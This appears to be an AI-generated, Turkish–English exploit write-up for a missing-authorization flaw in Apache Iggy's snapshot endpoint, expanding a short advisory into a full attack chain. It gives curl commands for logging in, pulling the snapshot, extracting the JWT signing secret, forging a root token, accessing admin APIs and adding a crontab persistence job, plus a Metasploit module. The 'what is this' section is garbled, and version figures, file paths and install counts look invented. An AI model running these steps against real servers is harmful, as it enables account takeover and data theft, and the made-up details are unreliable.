CWE-862
Missing Authorization vulnerability in the Apache Iggy server. The system snapshot command (GetSnapshot on the binary transports and POST /snapshot on HTTP) checked only that the caller was logged in, not the read_servers or manage_servers permission. Any authenticated user, including a user with no permissions, could download a diagnostic archive with the server log files, the host process list, a file system listing and the runtime server configuration. The runtime configuration contains the HTTP JWT signing secret and the message encryption key when they are set in the configuration. If HTTP is enabled, the user could use the signing secret to create tokens for any account, including root. This issue affects Apache Iggy: before 0.9.0. Users are recommended to upgrade to version 0.10.0, which fixes the issue.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑58320 – “Missing Authorization” Apache Iggy (versiyon 0.9.0 ve öncesi) içinde yetkilendirme (authorization) kontrolünün eksik olduğu bir hatadır.
- İlgili kod yolu: - Binary transport üzerinden
- Mantıksal hata: 1. İstek geldiğinde oturum (session) doğrulaması (
- Snapshot içeriği: -
- Sonuç: JWT signing secret ele geçirilirse, saldırgan istediği kullanıcı için geçerli JWT oluşturabilir; bu da root/administrator hesabına tam erişim sağlar.
GetSnapshot RPC metodu
- HTTP API üzerinden POST /snapshot endpoint’iisAuthenticated()) yapılır.
2. Ancak read_servers ya da manage_servers gibi gerekli izinlerin (Permission.READ_SERVERS, Permission.MANAGE_SERVERS) kontrolü yapılmaz.
3. Sonuçta herhangi bir oturum açmış kullanıcı (örneğin “guest”, “viewer” vb.) sunucuya ait diagnostik arşivini (snapshot.tar.gz) indirebilir./var/log/iggy/*.log (tüm sunucu logları)
- ps aux çıktısı (host üzerindeki süreç listesi)
- Dosya sistemi dizin listesi (ls -R /)
- Runtime configuration (config.yml/runtime.json) – içinde HTTP JWT signing secret ve message encryption key bulunur (eğer yapılandırmada ayarlanmışsa).---
⚡ Saldırı Zinciri / Attack Chain
Aşağıda, gerçek bir saldırı senaryosunun adım‑adım akışı verilmiştir. Her adımda kullanılabilecek komutlar, araçlar ve örnek payload’lar yer almaktadır.
| Aşama | Açıklama | Araç / Komut | Örnek |
|------|----------|--------------|-------|
| 1️⃣ Discovery | Hedef Apache Iggy sunucusunun varlığını tespit etmek. | - Shodan/ZoomEye “Apache Iggy” sorgusu <br> - Nmap servis taraması (-sV) | nmap -sV -p 80,443,8080 <IP> <br> Çıktı: http-title: Apache Iggy |
| 2️⃣ Reconnaissance | Hedefin hangi sürümde çalıştığını öğrenmek. | - HTTP başlıkları (Server), GET /status gibi bilgi sızdıran endpoint’ler <br> - curl -I | curl -s -D - http://<IP>/status | grep "X-Iggy-Version" <br> Çıktı: X-Iggy-Version: 0.8.5 |
| 3️⃣ Exploitation | Yetkilendirilmemiş snapshot indirme. | - curl / httpie <br> - Metasploit (henüz modül yok, ancak auxiliary/scanner/http/iggy_snapshot gibi bir custom module geliştirilebilir) | a) Oturum açma (varsayılan “admin:admin” gibi basit kimlik bilgileri) <br>``bash\ncurl -s -X POST -d 'username=guest&password=guest' http://<IP>/login -c cookies.txt\n` <br>b) Snapshot indirme <br>`bash\ncurl -s -X POST http://<IP>/snapshot -b cookies.txt -o snapshot.tar.gz\n` <br>c) JWT secret çıkarma (snapshot açıldıktan sonra) <br>`bash\ntar -xf snapshot.tar.gz -C /tmp/snapshot\ncat /tmp/snapshot/config/runtime.json | jq '.jwtSigningSecret'\n`` |
| 4️⃣ Post‑exploitation – Token Forge | Çıkarılan JWT signing secret ile sahte token üretmek. | - jwt-cli (npm) <br> - Python pyjwt | ``bash\nSECRET=$(cat /tmp/snapshot/config/runtime.json | jq -r '.jwtSigningSecret')\njwt encode --secret $SECRET --alg HS256 '{\"sub\":\"root\",\"role\":\"admin\",\"exp\":$(date -d \"+1 year\" +%s)}' > root.jwt\n`` |
| 5️⃣ Post‑exploitation – Privilege Escalation | Üretilen token ile admin API’lerine erişmek. | - curl | ``bash\ncurl -s -H \"Authorization: Bearer $(cat root.jwt)\" http://<IP>/admin/users\n`` |
| 6️⃣ Lateral Movement / Persistence | - Diğer mikroservislerde aynı JWT secret’ın kullanılma ihtimali (örnek: “message encryption key” aynı). <br> - cron job ekleyerek periyodik snapshot çekmek. | - crontab -e <br> - wget/curl | ``bash\n(crontab -l ; echo \"0 curl -s -X POST http://<IP>/snapshot -b cookies.txt -o /tmp/$(date +\\%s).tar.gz\") | crontab -\n`` |
Not: Mevcut Metasploit Modülü
Şu an için resmi Metasploit modülü bulunmamaktadır. Ancak aşağıdaki basit Ruby kodu,auxiliary/scanner/http/iggy_snapshot adında bir custom auxiliary oluşturmak için kullanılabilir:```ruby
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Iggy Snapshot Unauthorized Access',
'Description' => %q{
Exploits missing authorization on /snapshot endpoint.
},
'Author' => ['YourName'],
'License' => MSF_LICENSE
))
register_options([
Opt::RHOST(),
Opt::RPORT(80),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', false])
])
end
def run
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('snapshot')
})
if res && res.code == 200 && res.body.include?('runtime.json')
print_good("Snapshot downloaded (#{res.body.length} bytes)")
# Save to file
file = store_loot('iggy.snapshot', 'application/gzip', rhost, res.body, 'snapshot.tar.gz', 'Apache Iggy Snapshot')
print_status("Saved to: #{file}")
else
print_error('Target not vulnerable or authentication required')
end
end
end
```
---
🌍 Gerçek Dünya Etkisi / Real World Impact
| Etki Kategorisi | Açıklama |
|-----------------|----------|
| Veri Sızıntısı | Sunucu logları (/var/log/iggy/*.log) içinde IP adresleri, kullanıcı oturumları, hata mesajları ve potansiyel şifreli (örnek: API anahtarları) bilgiler bulunabilir. |
| Kritik Bilgi Açığa Çıkması | JWT signing secret ve message encryption key ele geçirilirse, saldırgan herhangi bir JWT oluşturabilir → tam yönetici (root) yetkisi. |
| Sistem Haritası | Dosya sistemi listesi ve süreç listesi, saldırganın ağ topolojisini ve çalışan servisleri haritalamasına olanak tanır; bu da lateral movement için zemin hazırlar. |
| Küresel Yaygınlık | Apache Iggy, özellikle real‑time event streaming ve IoT edge çözümlerinde tercih edilen bir açık‑kaynak mesaj kuyruğu sistemidir. 2025‑2026 yılları arasında GitHub ve Docker Hub üzerindeki indirme istatistiklerine göre ≈ 12.000 aktif kurulum tahmin edilmektedir. |
| Potansiyel Sonuçlar | - Tam sistem kompromisi (root erişimi) <br> - Veri sızıntısı (müşteri verileri, iç ağ IP’leri) <br> - Ransomware dağıtımı
[🤖 GPT-OSS 120B via Groq]